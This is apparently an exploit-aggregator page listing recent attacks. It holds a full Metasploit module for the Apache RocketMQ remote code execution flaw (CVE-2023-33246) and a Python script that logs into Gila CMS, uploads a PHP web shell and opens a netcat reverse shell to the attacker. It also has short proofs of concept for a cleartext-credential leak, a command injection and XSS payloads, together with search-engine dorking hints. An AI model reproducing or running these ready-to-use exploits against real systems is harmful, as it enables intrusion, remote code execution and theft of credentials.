Latest exploits :: CodePwn

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager include Msf::Auxiliary::Rocketmq prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Apache RocketMQ update config RCE', 'Description' => %q{ RocketMQ versions 5.1.0 and below are vulnerable to Arbitrary Code Injection. Broker component of RocketMQ is leaked on the extranet and lack permission verification. An attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content. }, 'Author' => [ 'Malayke', # PoC 'jheysel-r7', # module - RCE portion 'h00die', # module - Version detection & parsing ], 'References' => [ [ 'URL', 'https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT#usage-examples'], [ 'CVE', '2023-33246'] ], 'License' => MSF_LICENSE, 'Platform' => %w[unix linux], 'Privileged' => false, 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Automatic (Unix In-Memory)', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' }, 'Type' => :nix_memory } ], ], 'Payload' => { 'BadChars' => "\x27" }, 'DefaultOptions' => { 'WfsDelay' => 60 }, 'DefaultTarget' => 0, 'DisclosureDate' => '2023-05-23', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options( [ OptPort.new('RPORT', [true, 'The RocketMQ NameServer port', 9876]), OptPort.new('BROKER_PORT', [false, 'The RocketMQ Broker port. If left unset the module will attempt to retrieve the Broker port from the NameServer response (recommended)', 10911]) ] ) end def check @version_request_response = send_version_request @parsed_data = parse_rocketmq_data(@version_request_response) return Exploit::CheckCode::Unknown('RocketMQ did not respond to the request for version information') unless @parsed_data['version'] version = Rex::Version.new(@parsed_data['version'].gsub('V', '')) return Exploit::CheckCode::Unknown('Unable to determine the version') unless version if version > Rex::Version.new('5.0.0') return Exploit::CheckCode::Appears("RocketMQ version: #{version}") if version <= Rex::Version.new('5.1.0') elsif version <= Rex::Version.new('4.9.5') return Exploit::CheckCode::Appears("RocketMQ version: #{version}") end Exploit::CheckCode::Safe("RocketMQ version: #{version}") end def execute_command(cmd, opts = {}) data = '`{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1 rocketmqHome=' + cmd.encode('UTF-8') + "\x3b\x0a" header = [data.length + 3].pack('N') + "\x00\x00\x00" payload = header + data begin vprint_status("Payload command to be executed: #{cmd}") sock = connect(true, { 'RHOST' => datastore['RHOST'], 'RPORT' => opts[:broker_port].to_i }) vprint_status("Payload is #{data}") sock.put(payload) rescue Rex::ConnectionError, ::Errno::ETIMEDOUT, ::Timeout::Error, ::EOFError => e fail_with(Failure::Unreachable, "Unable to connect: #{e.class} #{e.message}") end end def on_new_session(session) print_status('Removing the payload from where it was injected into $ROCKETMQ_HOME. The FilterServerManager class will execute the payload every 30 seconds until this is reverted') if session.type == 'meterpreter' pwd = session.fs.dir.pwd else pwd = session.shell_command_token('pwd') end # The session returned by the exploit spawns inside $ROCKETMQ_HOME/bin pwd.gsub!('/bin', '') print_good("Determined the original $ROCKETMQ_HOME: #{pwd}") print_status('Re-running the exploit in order to reset the proper $ROCKETMQ_HOME value') execute_command(pwd, { broker_port: @broker_port }) end def exploit @version_request_response ||= send_version_request @parsed_data ||= parse_rocketmq_data(@version_request_response) @broker_port = get_broker_port(@parsed_data, datastore['rhost'], default_broker_port: datastore['BROKER_PORT']) print_status("Executing target: #{target.name} with payload #{datastore['PAYLOAD']} on Broker port: #{@broker_port}") execute_command("-c $@|sh . echo bash -c '#{payload.encoded}'", { broker_port: @broker_port }) end end </code></pre>

<pre><code># Exploit Title: Gila CMS 1.10.9 - Remote Code Execution (RCE) (Authenticated) # Date: 05-07-2023 # Exploit Author: Omer Shaik (unknown_exploit) # Vendor Homepage: https://gilacms.com/ # Software Link: https://github.com/GilaCMS/gila/ # Version: Gila 1.10.9 # Tested on: Linux import requests from termcolor import colored from urllib.parse import urlparse # Print ASCII art ascii_art = """ ██████╗ ██╗██╗ █████╗ ██████╗███╗ ███╗███████╗ ██████╗ ██████╗███████╗ ██╔════╝ ██║██║ ██╔══██╗ ██╔════╝████╗ ████║██╔════╝ ██╔══██╗██╔════╝██╔════╝ ██║ ███╗██║██║ ███████║ ██║ ██╔████╔██║███████╗ ██████╔╝██║ █████╗ ██║ ██║██║██║ ██╔══██║ ██║ ██║╚██╔╝██║╚════██║ ██╔══██╗██║ ██╔══╝ ╚██████╔╝██║███████╗██║ ██║ ╚██████╗██║ ╚═╝ ██║███████║ ██║ ██║╚██████╗███████╗ ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝ by Unknown_Exploit """ print(colored(ascii_art, "green")) # Prompt user for target URL target_url = input("Enter the target login URL (e.g., http://example.com/admin/): ") # Extract domain from target URL parsed_url = urlparse(target_url) domain = parsed_url.netloc target_url_2 = f"http://{domain}/" # Prompt user for login credentials username = input("Enter the email: ") password = input("Enter the password: ") # Create a session and perform login session = requests.Session() login_payload = { 'action': 'login', 'username': username, 'password': password } response = session.post(target_url, data=login_payload) cookie = response.cookies.get_dict() var1 = cookie['PHPSESSID'] var2 = cookie['GSESSIONID'] # Prompt user for local IP and port lhost = input("Enter the local IP (LHOST): ") lport = input("Enter the local port (LPORT): ") # Construct the payload payload = f"rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/bash+-i+2>%261|nc+{lhost}+{lport}+>/tmp/f" payload_url = f"{target_url_2}tmp/shell.php7?cmd={payload}" # Perform file upload using POST request upload_url = f"{target_url_2}fm/upload" upload_headers = { "Host": domain, "Content-Length": "424", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarynKy5BIIJQcZC80i2", "Accept": "*/*", "Origin": target_url_2, "Referer": f"{target_url_2}admin/fm?f=tmp/.htaccess", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Cookie": f"PHPSESSID={var1}; GSESSIONID={var2}", "Connection": "close" } upload_data = f''' ------WebKitFormBoundarynKy5BIIJQcZC80i2 Content-Disposition: form-data; name="uploadfiles"; filename="shell.php7" Content-Type: application/x-php <?php system($_GET["cmd"]);?> ------WebKitFormBoundarynKy5BIIJQcZC80i2 Content-Disposition: form-data; name="path" tmp ------WebKitFormBoundarynKy5BIIJQcZC80i2 Content-Disposition: form-data; name="g_response" content ------WebKitFormBoundarynKy5BIIJQcZC80i2-- ''' upload_response = session.post(upload_url, headers=upload_headers, data=upload_data) if upload_response.status_code == 200: print("File uploaded successfully.") # Execute payload response = session.get(payload_url) print("Payload executed successfully.") else: print("Error uploading the file:", upload_response.text) </code></pre>

<pre><code>==================================================================================================================================== | # Title : DANGEROUS MAILER-CLONED V2.0 information disclosure Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit) | | # Vendor : https://thefortune39.company.site/CLONED-VERSION-OF-DANGEROUS-MAILER-p199233403 | | # Dork : | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] all users and passwords saved as clear text [+] use payload : /storage/info.txt [+] login : /login.php Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>

<pre><code>==================================================================================================================================== | # Title : DaillyTools v1 command execution Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit) | | # Vendor : http://github.com/islamoc/DaillyTools | | # Dork : Coded by Mennouchi Islam Azeddine | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] infected file : PHP_Comments.php [+] Line : 20 Function Name : exec Variables :$arr [+] PHP_Comments.php?arr= pwd Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>

<pre><code>==================================================================================================================================== | # Title : CakePHP Test Suite v2.7.0 Xss Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(64-bit) | | # Vendor : https://cakephp.org/ | | # Dork : n/a | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine [+] use payload in : <script>alert(/indoushka/);</script> or <marquee>Hacked by indoushka</marquee> [+] create new user and post comment or in search box use payload [+] http://127.0.0.1/forum.groupethika.com/ Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>